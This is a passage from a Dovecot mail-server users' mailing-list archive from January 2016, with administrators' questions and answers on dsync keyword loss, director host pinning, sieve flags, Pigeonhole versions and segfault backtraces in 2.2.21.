qTsqvfR9j/1pQ9T1Yxc+WyzvGPx8YsaMtPMBvAuNUVw+n1MX7vm0FnbJPAMmoWAq RcdMrRjiHvdNwXOlpequ+1y3wLRzNNLAUNtFx9PHmLUSJkzQ86iXfnfwqMcopTKr s/Zc6IQbbbmUtEbcfvGWGq3gz2Q/nz+cSqaF17D1U6ofujmgSr+QLEI1OyE2a5Nl 8cvTpdq2t0P88KQpKXJ1FazD+7fa1sBPS71vjENYrTYqUNM+oRUwHQ== =DisB -----END PGP SIGNATURE----- From Benoit.Branciard at univ-paris1.fr Wed Jan 20 19:32:39 2016 From: Benoit.Branciard at univ-paris1.fr (Benoit Branciard) Date: Wed, 20 Jan 2016 20:32:39 +0100 Subject: dsync: loss of keywords in 2.2.13 Message-ID: <569FE0D7.9060001@univ-paris1.fr> After some tests, we found that "dsync backup" sometimes fails to copy all the IMAP "keywords" (labels) from the source mailbox to the backup one. Our Dovecot version is 2.2.13 (Debian Jessie package 1:2.2.13-12~deb8u1). We are migrating mailboxes from MBOX (with separate indexes) to MDBOX (with custom DIRNAME) format. The source mail_location is: mail_location = mbox:~/mail:INBOX=~/mail/INBOX:INDEX=/var/cache/dovecot/indexes/%16Hu/%u and the target: mail_location = mdbox:~/mdbox:DIRNAME=_@@_dbox-Mails_@@_ and we use the following dsync command to replicate (twice, a first "hot" run, and a second "cold" run with lda and user kicked off). dsync -o mail_access_groups=$mgroup -u "$login" backup "mdbox:$mdbhome/mdbox:DIRNAME=_@@_dbox-Mails_@@_" where $login is username, $mgroup is an UNIX group which has write access to the (temporary chowned/chmoded) mailbox, and $mdbhome is the new (MDBOX) user's home. It appears that some keywords get replicated, but some other do not. The only workaroud we found is to backup all keywords with "doveadm fetch 'mailbox uid flags' keywords '*'", an restore them on the new mailbox with "doveadm flags add". This solution yields no keyword loss. has this problem already been addressed ? -- Benoit BRANCIARD Service InfraStructures (SIS) Direction du Syst?me d'Information et des Usages Num?riques (DSIUN) Universit? Paris 1 Panth?on-Sorbonne Centre Pierre Mend?s France 90 rue de Tolbiac - 75634 Paris cedex 13 - France Bur. B406 - T?l +33 1 44 07 89 68 - Fax +33 1 44 07 89 66 Accueil: +33 1 44 07 89 65 - Assistance-DSIUN at univ-paris1.fr http://dsi.univ-paris1.fr From andrzej.filip at gmail.com Wed Jan 20 19:49:01 2016 From: andrzej.filip at gmail.com (Andrzej A. Filip) Date: Wed, 20 Jan 2016 20:49:01 +0100 Subject: Configure the sendmail with the dovecot. In-Reply-To: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> (Lucky .'s message of "Tue, 19 Jan 2016 13:45:35 +0000") References: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> Message-ID: "Lucky ." wrote: > Can you please provide the step for configure sendmail with dovecot. > > We could not understand the parameter which mention in sendmail.cf > file. Please provide the parameter description as well as where need > to change exactly in sendmail.cf file. Have you seen the wiki page below? http://wiki2.dovecot.org/LDA/Sendmail Which part of it is unclear? From bc979 at lafn.org Wed Jan 20 21:37:52 2016 From: bc979 at lafn.org (Doug Hardie) Date: Wed, 20 Jan 2016 13:37:52 -0800 Subject: Multiple Domains In-Reply-To: References: <9870A0B0-97D2-4019-ACCF-43B57B147C43@lafn.org> Message-ID: > On 18 January 2016, at 23:37, Steffen Kaiser wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Mon, 18 Jan 2016, Doug Hardie wrote: > >> I have Dovecot 2.2.19 running. However, one client has a rather unusual need. There are multiple domains that currently access their mail on the server. However, this on domain/client wants to use a different port for their users to access mail. Anyone on the standard port trying to download mail would receive an invalid user error (or whatever the proper error for that is). Likewise, only this clients users could access their mail on the new port. Is this possible? > > try to use %a in passdb, I'm not sure if "These variables work only in Dovecot-auth" applies to this scenario, though. > > You could run two instances with different configs on the same host. Thats the best idea I have seen. Thanks. Don't know why I didn't think of it ;-) From tobster at brain-force.ch Thu Jan 21 14:04:31 2016 From: tobster at brain-force.ch (Tobi) Date: Thu, 21 Jan 2016 15:04:31 +0100 Subject: dovecot director redirect some user to always same backend Message-ID: <56A0E56F.6040506@brain-force.ch> Hello list I have a question on how to enforce certain user(s) always to the same backend in a dovecot setup with director. So I changed my passdb-mysql query SELECT password AS password, username AS destuser, 'Y' as proxy, (CASE username WHEN LIKE 'user' THEN '10.66.99.6' ELSE null END) as host from mailbox WHERE username = '%u' AND active = 1; But then I saw in the dovecot manual that the director does nothing if the passdb query already returns a host field. So I'm quite unsure whether a host field with value NULL means that the host field is not present and therefore the director should insert it into the result or not. Thanks tobi -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 819 bytes Desc: OpenPGP digital signature URL: From pj.netfilter at gmail.com Thu Jan 21 17:54:31 2016 From: pj.netfilter at gmail.com (Joy) Date: Thu, 21 Jan 2016 23:24:31 +0530 Subject: Help with sieve Message-ID: Dear Experts, I am having following script which is working perfectly on 3 server but not working as expected on new server. I have updated latest sieve software compiled from source, In case i use fileinto to move mail to other folder it works perfectly .. require ["fileinto","imap4flags","envelope","body"]; #1 if allof (header :contains ["Subject"] ["test"] ){ setflag "\\Seen"; addflag "\\Flagged"; addflag "BUG"; } From me at junc.eu Thu Jan 21 18:20:50 2016 From: me at junc.eu (Benny Pedersen) Date: Thu, 21 Jan 2016 19:20:50 +0100 Subject: Help with sieve In-Reply-To: References: Message-ID: Joy skrev den 2016-01-21 18:54: > require ["fileinto","imap4flags","envelope","body"]; > > > #1 > if allof (header :contains ["Subject"] ["test"] > ){ > setflag "\\Seen"; > addflag "\\Flagged"; > addflag "BUG"; > } next time provide a dovecot -n but before you reply dovecot -n | grep imap4flags From stephen.feyrer at btinternet.com Thu Jan 21 21:12:38 2016 From: stephen.feyrer at btinternet.com (Stephen Feyrer) Date: Thu, 21 Jan 2016 21:12:38 -0000 Subject: Hypothetical feature suggestion Message-ID: Hi, Assuming one sends an E-mail which in turn requires either an update or correction. The current practise is to send a subsequent E-mail with the new or corrected info. I would like to suggest a small feature. I recognise that this would require that the sending application would need to support this same feature. The sender should be able to edit a sent email, transmit a diff of the original and then the receiving mail store composite the changes into a new email. This could be with or without features to allow the review historic versions of said E-mail. Alternatively, regular expressions could be employed to achieve this effect (albeit, a more complex approach). This would provide a kind of Web 2 look on E-mail. -- Kind regards Stephen Feyrer From p at sys4.de Thu Jan 21 21:19:29 2016 From: p at sys4.de (Patrick Ben Koetter) Date: Thu, 21 Jan 2016 22:19:29 +0100 Subject: Hypothetical feature suggestion In-Reply-To: References: Message-ID: <20160121211929.GB3683@sys4.de> * Stephen Feyrer : > Hi, > > Assuming one sends an E-mail which in turn requires either an update > or correction. The current practise is to send a subsequent E-mail > with the new or corrected info. > > I would like to suggest a small feature. I recognise that this > would require that the sending application would need to support > this same feature. > > The sender should be able to edit a sent email, transmit a diff of > the original and then the receiving mail store composite the changes > into a new email. This could be with or without features to allow > the review historic versions of said E-mail. > > Alternatively, regular expressions could be employed to achieve this > effect (albeit, a more complex approach). > > This would provide a kind of Web 2 look on E-mail. Sounds a lot like: https://en.wikipedia.org/wiki/Lemonade_Profile p at rick -- [*] sys4 AG https://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From p.heinlein at heinlein-support.de Thu Jan 21 22:05:55 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Thu, 21 Jan 2016 23:05:55 +0100 Subject: segfaults with Dovecot 2.2.21 Message-ID: <56A15643.2030506@heinlein-support.de> We're running Dovecot 2.2.21 from Stephan Bosch's build service on Dovecot 7.x. Everything's up2date. # 2.2.devel (7ab22fc): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (71e908a) # OS: Linux 3.16.0-0.bpo.4-amd64 x86_64 Debian 7.9 root at mailimap01:/etc/dovecot/conf.d # apt-show-versions | grep dovecot debian-dovecot-auto-keyring/oldstable-auto uptodate 2010.01.30 dovecot-core/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-imapd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-lmtpd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-managesieved/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-mysql/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-pop3d/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-sieve/oldstable-auto uptodate 2:2.2.21-1~auto+66 But we have sefaults in our logfile. How can we debug and solve that? (Yes, I know Stephan Bosch's packages are autobuild at the edge, but we need this versions since Dovecot 7.0 has only Dovecot 2.2.7 available.) Peer Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fbe4e92b8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fbe4e92b92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fbe4e8d4aae] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fbe4e93eb0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fbe4e93fee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fbe4e93ebb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fbe4e93ed58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](main+0x2d8) [0x7fbe4f105eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fbe4e53bead] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](+0xf03d) [0x7fbe4f10603d] Jan 21 22:46:41 mailimap01 dovecot: imap(p115951p1): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcd177d48cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcd177d492e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcd1777daae] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](client_continue_pending_input+0x132) [0x7fcd17fbb5e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcd177e7b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcd177e8ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcd177e7bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcd177e7d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcd177834b3] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](main+0x2d8) [0x7fcd17faeeb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcd173e4ead] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](+0xf03d) [0x7fcd17faf03d] Jan 21 22:51:48 mailimap01 dovecot: imap(p54862p14): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fd798e628cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fd798e6292e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fd798e0baae] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](client_continue_pending_input+0x132) [0x7fd7996495e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fd798e75b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fd798e76ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fd798e75bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fd798e75d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd798e114b3] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](main+0x2d8) [0x7fd79963ceb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fd798a72ead] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](+0xf03d) [0x7fd79963d03d] Jan 21 22:55:25 mailimap01 dovecot: imap(p142324p3): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcbf559d8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcbf559d92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcbf5546aae] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](client_continue_pending_input+0x132) [0x7fcbf5d845e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcbf55b0b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcbf55b1ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcbf55b0bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcbf55b0d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcbf554c4b3] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](main+0x2d8) [0x7fcbf5d77eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcbf51adead] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](+0xf03d) [0x7fcbf5d7803d] -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From rs at sys4.de Thu Jan 21 22:20:53 2016 From: rs at sys4.de (Robert Schetterer) Date: Thu, 21 Jan 2016 23:20:53 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A15643.2030506@heinlein-support.de> References: <56A15643.2030506@heinlein-support.de> Message-ID: <56A159C5.8010300@sys4.de> Am 21.01.2016 um 23:05 schrieb Peer Heinlein: > > We're running Dovecot 2.2.21 from Stephan Bosch's build service on > Dovecot 7.x. Everything's up2date. > > # 2.2.devel (7ab22fc): /etc/dovecot/dovecot.conf > # Pigeonhole version 0.4.11 (71e908a) > # OS: Linux 3.16.0-0.bpo.4-amd64 x86_64 Debian 7.9 > > root at mailimap01:/etc/dovecot/conf.d # apt-show-versions | grep dovecot > debian-dovecot-auto-keyring/oldstable-auto uptodate 2010.01.30 > dovecot-core/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-imapd/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-lmtpd/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-managesieved/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-mysql/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-pop3d/oldstable-auto uptodate 2:2.2.21-1~auto+66 > dovecot-sieve/oldstable-auto uptodate 2:2.2.21-1~auto+66 > > > But we have sefaults in our logfile. How can we debug and solve that? > > (Yes, I know Stephan Bosch's packages are autobuild at the edge, but we > need this versions since Dovecot 7.0 has only Dovecot 2.2.7 available.) > > Peer > > > > Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fbe4e92b8cf] > -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fbe4e92b92e] -> > /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fbe4e8d4aae] -> > dovecot/imap [p24062p6 87.140.193.6 > NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fbe4e93eb0b] > -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) > [0x7fbe4e93fee7] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) > [0x7fbe4e93ebb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) > [0x7fbe4e93ed58] -> > /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 > NOOP](main+0x2d8) [0x7fbe4f105eb8] -> > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fbe4e53bead] > -> dovecot/imap [p24062p6 87.140.193.6 NOOP](+0xf03d) [0x7fbe4f10603d] > > Jan 21 22:46:41 mailimap01 dovecot: imap(p115951p1): Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcd177d48cf] > -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcd177d492e] -> > /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcd1777daae] -> > dovecot/imap [p115951p1 93.204.210.91 > FETCH](client_continue_pending_input+0x132) [0x7fcd17fbb5e2] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcd177e7b0b] > -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) > [0x7fcd177e8ee7] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) > [0x7fcd177e7bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) > [0x7fcd177e7d58] -> > /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x7fcd177834b3] -> dovecot/imap [p115951p1 93.204.210.91 > FETCH](main+0x2d8) [0x7fcd17faeeb8] -> > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcd173e4ead] > -> dovecot/imap [p115951p1 93.204.210.91 FETCH](+0xf03d) [0x7fcd17faf03d] > > Jan 21 22:51:48 mailimap01 dovecot: imap(p54862p14): Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fd798e628cf] > -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fd798e6292e] -> > /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fd798e0baae] -> > dovecot/imap [p54862p14 217.92.255.97 > NOOP](client_continue_pending_input+0x132) [0x7fd7996495e2] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fd798e75b0b] > -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) > [0x7fd798e76ee7] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) > [0x7fd798e75bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) > [0x7fd798e75d58] -> > /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x7fd798e114b3] -> dovecot/imap [p54862p14 217.92.255.97 > NOOP](main+0x2d8) [0x7fd79963ceb8] -> > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fd798a72ead] > -> dovecot/imap [p54862p14 217.92.255.97 NOOP](+0xf03d) [0x7fd79963d03d] > > Jan 21 22:55:25 mailimap01 dovecot: imap(p142324p3): Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcbf559d8cf] > -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcbf559d92e] -> > /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcbf5546aae] -> > dovecot/imap [p142324p3 80.153.228.104 NOOP > NOOP](client_continue_pending_input+0x132) [0x7fcbf5d845e2] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcbf55b0b0b] > -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) > [0x7fcbf55b1ee7] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) > [0x7fcbf55b0bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) > [0x7fcbf55b0d58] -> > /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x7fcbf554c4b3] -> dovecot/imap [p142324p3 80.153.228.104 NOOP > NOOP](main+0x2d8) [0x7fcbf5d77eb8] -> > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcbf51adead] > -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](+0xf03d) > [0x7fcbf5d7803d] > > > > just recompiled the same on ubuntu 14.04 running tests no bugs yet dovecot-core:amd64 2:2.2.21-1~auto+66 any idea what action provided your segfault Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From p.heinlein at heinlein-support.de Fri Jan 22 09:06:00 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Fri, 22 Jan 2016 10:06:00 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A159C5.8010300@sys4.de> References: <56A15643.2030506@heinlein-support.de> <56A159C5.8010300@sys4.de> Message-ID: <56A1F0F8.5090701@heinlein-support.de> Am 21.01.2016 um 23:20 schrieb Robert Schetterer: > just recompiled the same on ubuntu 14.04 > running tests no bugs yet Yes, we also have this version running on other systems without segfaults. > dovecot-core:amd64 2:2.2.21-1~auto+66 (and we also had segfaults with older builds) Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From a.helwig at heinlein-support.de Fri Jan 22 10:36:35 2016 From: a.helwig at heinlein-support.de (Andre Helwig) Date: Fri, 22 Jan 2016 11:36:35 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A15643.2030506@heinlein-support.de> References: <56A15643.2030506@heinlein-support.de> Message-ID: <56A20633.3050103@heinlein-support.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 01/21/2016 11:05 PM, Peer Heinlein wrote: > > > Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) > [0x7fbe4e92b8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) > [0x7fbe4e92b92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) > [0x7fbe4e8d4aae] -> dovecot/imap [p24062p6 87.140.193.6 > NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) > [0x7fbe4e93eb0b] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) > > [0x7fbe4e93fee7] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) > [0x7fbe4e93ebb5] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fbe4e93ed58] > -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 > NOOP](main+0x2d8) [0x7fbe4f105eb8] -> > /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) > [0x7fbe4e53bead] -> dovecot/imap [p24062p6 87.140.193.6 > NOOP](+0xf03d) [0x7fbe4f10603d] What i found a line above that backtrace was imap(p24062p6): Panic: file imap-client.c: line 852 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) Maybe that help find the reason of the backtrace? Cheers Andre - -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-0 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJWogYzAAoJEAoTNwRDnEhReyYH/AxXou9eRIUVQn+QT9FMFPXj 17tJn588TiMZOExAGiRbTM0MAfsMdcfHmnzVxCk4APrlUuD2oFBlybIwT1AAjKTP 8qfDiA1wC3eTQgLnbPrJ4idxx0XG4rl6J7upQJKqZl9L0ZK+IdCjzFlHjoWM7Onz IeXDd1qWbukLFBTJCAdcG7V4H3o1XBRkE7h/pGLJkYhXQNKO8Uqo5jwciYHbe4k1 SHAsr5EGqgsO8ueJ7X9xnhGp1DDXAgPPRn4paEZIk/vN3PAudl6FXp0myJ4/4H+c oGD6Q8c/95fRL4o8z291X7EmM2PRGyXY0Tm4Jwh3p92n9Tq6A/KS8CdZ7Ant/aM= =134a -----END PGP SIGNATURE----- From tss at iki.fi Fri Jan 22 11:46:47 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 22 Jan 2016 13:46:47 +0200 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <56A20633.3050103@heinlein-support.de> References: <56A15643.2030506@heinlein-support.de> <56A20633.3050103@heinlein-support.de> Message-ID: On 22 Jan 2016, at 12:36, Andre Helwig wrote: > > imap(p24062p6): Panic: file imap-client.c: line 852 > (client_check_command_hangs): assertion failed: (!have_wait_unfinished > || unfinished_count > 0) I think this was fixed by https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be From tss at iki.fi Fri Jan 22 11:51:08 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 22 Jan 2016 13:51:08 +0200 Subject: dovecot director redirect some user to always same backend In-Reply-To: <56A0E56F.6040506@brain-force.ch> References: <56A0E56F.6040506@brain-force.ch> Message-ID: <4BF60402-3B7C-4414-8956-53FE734A6653@iki.fi> > On 21 Jan 2016, at 16:04, Tobi wrote: > > Hello list > > I have a question on how to enforce certain user(s) always to the same > backend in a dovecot setup with director. > So I changed my passdb-mysql query > > SELECT password AS password, username AS destuser, 'Y' as proxy, > (CASE username WHEN LIKE 'user' THEN '10.66.99.6' ELSE null END) > as host from mailbox WHERE username = '%u' AND active = 1; > > But then I saw in the dovecot manual that the director does nothing if > the passdb query already returns a host field. > So I'm quite unsure whether a host field with value NULL means that the > host field is not present and therefore the director should insert it > into the result or not. NULL as host doesn't actually return the host field. So the above should work. From hs at schlittermann.de Fri Jan 22 11:53:00 2016 From: hs at schlittermann.de (Heiko Schlittermann) Date: Fri, 22 Jan 2016 12:53:00 +0100 Subject: how do I get the version of the pigeonhole-sieve plugin Message-ID: <20160122115300.GU6132@jumper.schlittermann.de> Hello, as may parts of the dovecot configuration docs refer to sieve and it's specific versions, like NOTE: Pigeonhole versions before v0.3.1 do not support the lo ? how do I get the Pigeonhole version my local dovecot uses? The package version number of the ubuntu package dovecot-sieve isn't telling me anything here, because it's bound to the dovecot version number. What do I miss here? Thank you. Best regards from Dresden/Germany Viele Gr??e aus Dresden Heiko Schlittermann -- SCHLITTERMANN.de ---------------------------- internet & unix support - Heiko Schlittermann, Dipl.-Ing. (TU) - {fon,fax}: +49.351.802998{1,3} - gnupg encrypted messages are welcome --------------- key ID: F69376CE - ! key id 7CBF764A and 972EAC9F are revoked since 2015-01 ------------ - -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 473 bytes Desc: Digital signature URL: From hs at schlittermann.de Fri Jan 22 12:19:56 2016 From: hs at schlittermann.de (Heiko Schlittermann) Date: Fri, 22 Jan 2016 13:19:56 +0100 Subject: how do I get the version of the pigeonhole-sieve plugin In-Reply-To: <20160122115300.GU6132@jumper.schlittermann.de> References: <20160122115300.GU6132@jumper.schlittermann.de> Message-ID: <20160122121956.GV6132@jumper.schlittermann.de> Heiko Schlittermann (Fr 22 Jan 2016 12:53:00 CET): > Hello, > > as may parts of the dovecot configuration docs refer to sieve and it's > specific versions, like > > NOTE: Pigeonhole versions before v0.3.1 do not support the lo > > ? how do I get the Pigeonhole version my local dovecot uses? > The package version number of the ubuntu package dovecot-sieve isn't telling me > anything here, because it's bound to the dovecot version number. > > What do I miss here? Background: sieve_default_name seems to be the option I'm looking for, but it doesn't work and since the dovecot does not seem to check the configuration for unknown plugin keywords, I can't even tell if the option is recognised or not. Best regards from Dresden/Germany Viele Gr??e aus Dresden Heiko Schlittermann -- SCHLITTERMANN.de ---------------------------- internet & unix support - Heiko Schlittermann, Dipl.-Ing. (TU) - {fon,fax}: +49.351.802998{1,3} - gnupg encrypted messages are welcome --------------- key ID: F69376CE - ! key id 7CBF764A and 972EAC9F are revoked since 2015-01 ------------ - -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 473 bytes Desc: Digital signature URL: From p.heinlein at heinlein-support.de Fri Jan 22 13:07:44 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Fri, 22 Jan 2016 14:07:44 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: References: 